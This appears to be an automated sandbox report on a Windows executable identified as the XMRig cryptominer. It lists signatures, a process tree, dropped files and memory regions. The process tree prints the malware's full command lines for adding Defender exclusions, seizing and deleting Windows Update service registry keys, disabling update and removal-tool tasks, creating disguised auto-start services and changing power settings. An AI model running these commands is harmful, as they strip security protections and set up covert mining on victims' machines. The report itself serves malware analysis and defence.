Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 10:45

General

  • Target
    b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
  • Size 5.0MB
  • Sample260809-mtklkswekc
  • SHA256 b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Modifies security service 2 TTPs 5 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • XMRig Miner payload 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs
  • Sets service image path in registry 3 TTPs 5 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Creates new service(s) 2 TTPs
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Deletes itself 1 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 17 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3308
      • C:\Users\Admin\AppData\Local\Temp\b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
        "C:\Users\Admin\AppData\Local\Temp\b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe"
        2⤵
        • Deletes itself
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: RenamesItself
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
          3⤵
          • Launches sc.exe
          PID:6032
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
          3⤵
          • Launches sc.exe
          PID:5620
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
          3⤵
          • Launches sc.exe
          PID:5768
      • C:\Windows\System32\nslookup.exe
        "C:\Windows\System32\nslookup.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3872
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1320
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5196
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
          3⤵
          • Launches sc.exe
          PID:3984
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:3544
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
          3⤵
          • Launches sc.exe
          PID:5368
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:5268
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\mfjsnjgxsl" /s /f
          3⤵
          • Server Software Component: Terminal Services DLL
          • Sets service image path in registry
          PID:4192
        • C:\Windows\System32\reg.exe
          "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:5012
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
            3⤵
            • Launches sc.exe
            PID:836
          • C:\Windows\System32\sc.exe
            "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:3452
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\gjatsqyuih" /s /f
            3⤵
            • Server Software Component: Terminal Services DLL
            • Sets service image path in registry
            PID:2080
          • C:\Windows\System32\reg.exe
            "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:3688
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config wuauserv start= disabled
              3⤵
              • Launches sc.exe
              PID:5924
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop wuauserv
              3⤵
              • Launches sc.exe
              PID:544
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\ivzbhfdhzv" /s /f
              3⤵
              • Server Software Component: Terminal Services DLL
              • Sets service image path in registry
              PID:3704
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:2616
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config BITS start= disabled
              3⤵
              • Launches sc.exe
              PID:3288
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop BITS
              3⤵
              • Launches sc.exe
              PID:5948
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\aulzewoysp" /s /f
              3⤵
              • Server Software Component: Terminal Services DLL
              • Sets service image path in registry
              PID:5124
            • C:\Windows\System32\reg.exe
              "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
              3⤵
                PID:3660
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" config dosvc start= disabled
                3⤵
                • Launches sc.exe
                PID:2332
              • C:\Windows\System32\sc.exe
                "C:\Windows\System32\sc.exe" stop dosvc
                3⤵
                • Launches sc.exe
                PID:1592
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\oyccosqbcc" /s /f
                3⤵
                • Sets service image path in registry
                PID:4884
              • C:\Windows\System32\reg.exe
                "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:4376
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
                  3⤵
                    PID:2536
                  • C:\Windows\System32\schtasks.exe
                    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
                    3⤵
                      PID:2112
                    • C:\Windows\System32\schtasks.exe
                      "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
                      3⤵
                        PID:840
                      • C:\Windows\System32\schtasks.exe
                        "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
                        3⤵
                          PID:5736
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
                          3⤵
                            PID:3744
                          • C:\Windows\System32\schtasks.exe
                            "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
                            3⤵
                              PID:816
                            • C:\Windows\System32\schtasks.exe
                              "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
                              3⤵
                                PID:6068
                              • C:\Windows\System32\schtasks.exe
                                "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
                                3⤵
                                  PID:204
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
                                  3⤵
                                    PID:5384
                                  • C:\Windows\System32\schtasks.exe
                                    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
                                    3⤵
                                      PID:3408
                                    • C:\Windows\System32\schtasks.exe
                                      "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
                                      3⤵
                                        PID:916
                                      • C:\Windows\System32\powercfg.exe
                                        "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2900
                                      • C:\Windows\System32\powercfg.exe
                                        "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5444
                                      • C:\Windows\System32\powercfg.exe
                                        "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1072
                                      • C:\Windows\System32\powercfg.exe
                                        "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4168
                                      • C:\Windows\System32\schtasks.exe
                                        "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
                                        3⤵
                                          PID:3252
                                        • C:\Windows\System32\schtasks.exe
                                          "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
                                          3⤵
                                            PID:3576
                                          • C:\Windows\System32\sc.exe
                                            "C:\Windows\System32\sc.exe" delete "RasConnectionManager_9d4d"
                                            3⤵
                                            • Launches sc.exe
                                            PID:4768
                                          • C:\Windows\System32\sc.exe
                                            "C:\Windows\System32\sc.exe" create "RasConnectionManager_9d4d" binpath= "C:\ProgramDataMicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto"
                                            3⤵
                                            • Launches sc.exe
                                            PID:5272
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
                                            3⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5004
                                          • C:\Windows\System32\schtasks.exe
                                            "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
                                            3⤵
                                              PID:1684
                                            • C:\Windows\System32\schtasks.exe
                                              "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
                                              3⤵
                                                PID:5968
                                            • C:\Windows\System32\svchost.exe
                                              "C:\Windows\System32\svchost.exe"
                                              2⤵
                                              • Suspicious use of AdjustPrivilegeToken
                                              • Suspicious use of FindShellTrayWindow
                                              PID:4632
                                          • C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
                                            C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
                                            1⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of WriteProcessMemory
                                            PID:5168

                                          Network

                                                MITRE ATT&CK Enterprise v16

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                                                LockAppHost14a02b.exe

                                                • Path C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
                                                • Size 5.0MB
                                                • SHA256 b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                __PSScriptPolicyTest_zozxq24v.muf.ps1

                                                • Path C:\Windows\Temp\__PSScriptPolicyTest_zozxq24v.muf.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512 TLSH

                                                powershell.exe.log

                                                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                • Size 4KB
                                                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                StartupProfileData-NonInteractive

                                                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 e1d60f18bcea5f318ece5f647592db0654dafaf6c047baf71f75009a7e4b7d70
                                                • MD5 SHA1 SHA512 TLSH

                                                StartupProfileData-NonInteractive

                                                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                • Size 1KB
                                                • SHA256 0fd68598598d1dfa246506196e6e0b46ee2b3b26a91c229ff9bb290c7f63d7c1
                                                • MD5 SHA1 SHA512 TLSH

                                                memory/1320-48-0x0000028CA7350000-0x0000028CA736C000-memory.dmp

                                                memory/1320-49-0x0000028CA7330000-0x0000028CA733A000-memory.dmp

                                                memory/1320-54-0x0000028C8D4F0000-0x0000028C8D500000-memory.dmp

                                                memory/1320-53-0x0000028CA7380000-0x0000028CA738A000-memory.dmp

                                                memory/1320-52-0x0000028CA7370000-0x0000028CA7376000-memory.dmp

                                                memory/1320-51-0x0000028CA7340000-0x0000028CA7348000-memory.dmp

                                                memory/1320-50-0x0000028CA7390000-0x0000028CA73AA000-memory.dmp

                                                memory/1320-46-0x0000028CA7120000-0x0000028CA71D5000-memory.dmp

                                                memory/1320-28-0x0000028C8D4F0000-0x0000028C8D500000-memory.dmp

                                                memory/1320-27-0x0000028C8D4F0000-0x0000028C8D500000-memory.dmp

                                                memory/1320-47-0x0000028CA71E0000-0x0000028CA71EA000-memory.dmp

                                                memory/1320-34-0x0000028CA63C0000-0x0000028CA63E2000-memory.dmp

                                                memory/1320-37-0x00007FF4300A0000-0x00007FF4300B0000-memory.dmp

                                                memory/1320-45-0x0000028CA7100000-0x0000028CA711C000-memory.dmp

                                                memory/3872-20-0x0000000140000000-0x0000000140231000-memory.dmp

                                                memory/3872-25-0x000002B658430000-0x000002B658431000-memory.dmp

                                                memory/4300-11-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/4300-7-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                memory/4300-1-0x00007FFC2A4B0000-0x00007FFC2A4B2000-memory.dmp

                                                memory/4300-6-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/4300-10-0x0000000140239000-0x00000001403E9000-memory.dmp

                                                memory/4300-2-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/4300-4-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/4300-0-0x0000000140239000-0x00000001403E9000-memory.dmp

                                                memory/4632-103-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-101-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-91-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-99-0x0000027734CA0000-0x0000027734CC0000-memory.dmp

                                                memory/4632-98-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-97-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-96-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-113-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-102-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-112-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-100-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-104-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-105-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-109-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-110-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/4632-111-0x0000000140000000-0x000000014080D000-memory.dmp

                                                memory/5004-132-0x000002A72FFC0000-0x000002A730075000-memory.dmp

                                                memory/5168-26-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/5168-15-0x0000000140000000-0x00000001408E7000-memory.dmp

                                                memory/5196-73-0x000001B269080000-0x000001B269135000-memory.dmp